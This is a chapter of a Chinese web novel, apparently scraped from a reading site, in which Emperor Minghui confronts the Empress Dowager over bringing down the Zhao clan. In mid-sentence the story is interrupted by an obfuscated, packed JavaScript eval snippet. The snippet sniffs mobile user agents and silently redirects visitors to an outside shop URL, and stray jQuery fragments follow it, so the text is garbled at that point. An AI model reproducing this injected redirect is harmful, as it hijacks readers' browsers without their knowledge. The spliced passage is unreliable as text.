这句话仿佛触碰到了什么开关,明惠帝清俊的面容隐约扭曲一瞬。


    他蓦地回头,眼神冰冷幽深,宛若一汪寒潭。


    “朕难道还不够敬重外祖?大父、阿父如何对待卫国公府,朕只会有过而无不及!”


    “可赵堰又是怎么对朕的,阿娘你出去打听打听,整个朝堂都快成他一言堂了!朕已经数不清,他有多少次反驳朕的话!”


    明惠帝忍无可忍,眼底跳跃着冰冷的火星,近乎咬牙切齿道:“主少国疑,但我早就已经不是孩童了!阿娘!”


    “我在赵堰的身上看不到忠心,或者说,他的忠心只愿意给大父和阿父。”


    “你、你怎么能说出这种话?”赵太后满脸不可置信,她抓着儿子的肩膀,声音不住颤抖,“你忘了,你继位后的每一次天灾人祸,都是赵家带头出钱出力,你外祖父对你还不够掏心掏肺的吗?!”


    赵咎站在一旁,微微垂眸。


    这虽然是他们合起伙来的演的一场戏,但话里行间,未必没有真情流露。


    明惠帝也算是借这个机会吐露心声。


    赵太后满眼失望地看着儿子。


    明惠帝却平静极了,他认真道:“外祖帮我,是因为我是赵家的外孙。我从不否认这一点,我也很感激。”


    “但是阿娘,你想过没有,赵堰对待大父常怀敬畏之心,对待阿父则看重有加,他对我又是如何呢?”


    “他将我看作外孙,而非帝王。”


    明惠帝道:“我身上流淌着赵家的血,这点不假。可在此之前,我首先是高家的皇帝,万民之主。”


    攥紧的手指倏忽一松,像是被抽干了所有力气,赵太后身形不稳,踉跄着后退两步。


    赵咎扶住她,“阿姐!”


    赵太后靠在幼弟的怀里,用一种惊惧而陌生的眼神看着明惠帝。


    “这些话……你想了多久?”


    “很久很久。”明惠帝坦然回答。


    他知道,赵咨兄弟几个都是忠心耿耿的臣子。


    但赵堰不是。


    赵堰的忠心时常掺杂长辈的说教。


    这是无意识的行为,或许赵堰自己都没有发现。


    普通人家,外祖教训外孙,那也说得过去,毕竟人之常情。


    但明惠帝不是普通人啊,他是皇帝,是九五至尊。


    会因为被看轻、被说教而不高兴,简直再正常不过。


    换句话来说,他能容忍到今时今日,已经是足够好脾气了。


    明惠帝负手而立,肃容道:“阿娘,我说这些,不是为了表达我对赵堰的不满,我只想告诉你,朝堂之上,恨赵家,希望赵家倒台的比比皆是。”


    叶家是怎么没了,大家都清楚。


    一旦牵扯到谋逆,那就是尽诛三族的下场。


    没有哪个上位者会容忍这样的事情发生。


    “或许是我太年轻,积威不够。外祖不给我面子,我可以理解,所以我容忍了一次又一次。”


    “他觉得我和阿劫是一伙的,都是乳臭未干的毛头小子,他贬斥阿劫的同时,又将我的威严踩在脚底,阿娘你说,如我这般,日后该用什么去震慑百官?”


    “赵哲、乃至整个赵家的清白都已经不重要了,就像当初,叶家的清白,在绝大多数人看来,也不过是鸿**而已。”


    赵家一倒台,就会腾出不少空位。


    别说赵家的政敌,就连赵家的姻亲也不可避免心动。


    尚书令的位置,赵堰一坐就是二三十年,差不多得了,还能让他一直坐下去,坐到死不成?


    赵太后死死盯着明惠帝,“你说这么多,其实还是想替叶家翻案吧?”


    赵咎和明惠帝对视一眼,又快速错开视线。


    明惠帝淡淡道:“阿娘,你可能误会了,叶庸不是我的臣子,叶小娘子也不是我的妻子,我没必要费这么大的劲,只为还叶家一个清白。”


    “您与其怀疑这个,怀疑那个,不如劝劝阿劫。”


    赵咎立马跟长姐告状,“高忱疯了!他想让我跟赵家割席,入赘姜家!”


    赵太后气得面色发白,扑上去捶了儿子几下,“你怎么说得出这种话?”


    明惠帝没躲,就这么站着不动任由赵太后


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060730|173897||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    发泄情绪。


    他语重心长:“我是为阿劫好,他只有跟赵家割席,才不会影响未来前程。”


    “我不要!”赵咎怒道,“没有赵家,就没有我,什么为我好?你这是陷我于不仁不义不孝!”


    明惠帝淡淡道:“赵堰对你,还不如阿父对你万分之一疼爱,你又何必看重孝道。”


    这番话让赵太后如遭雷劈。


    她瞠目结舌,“你、你难道是替阿劫打抱不……”


    话没说完,明惠帝愉快承认。


    “是啊,不可以吗?”


    别人都说赵咎是宠臣。


    可作为宠臣,赵咎得到的实在是太少太少了。


    明惠帝到现在都觉得亏欠小舅呢。


    赵太后气得昏厥过去。


    舅甥俩面面相觑,赶忙让容已传唤太医。


    可不能玩脱了!


    “你先出宫。”


    “我先出宫。”


    两人对视一眼,异口同声道。


    赵咎没忍住笑了,随即正色道:“我先出宫,在姜家避避风头。”


    等到时候押送入京的替身来了,再跟他进行调换。


    明惠帝点头答应,让赵咎乔装打扮一番,确保无误再送他出宫。


    赵太后醒来,得知幼弟已经被送出宫,差点又昏过去。她算是看出来了,儿子是铁了心要收拾赵家!


    不为别的,就为打压赵家的焰气。


    与此同时,卫国公府也险些乱成一锅粥。


    王氏竭力稳住局面,可赵堰父子三人被禁军押入大牢的消息,还是不可避免地让家中上上下下产生一种恐慌。


    尤其卫国公府的下人,生怕哪天大难临头。


    平日里地位最低的蓼莪院,反而成了一方小小净土。


    女君是皇后胞姐,再不济,也能和离回娘家。更何况她又素来心善,说不定会带着他们一起走。


    蓼莪院下人的奴籍身契全在赵咎手中,后面姜璎嫁过来,人手调度方面都听她的。


    从某种意义上来说,他们也算是在其他院里下人面前扬眉吐气了一把。


    看吧,这就是跟对领导的重要性!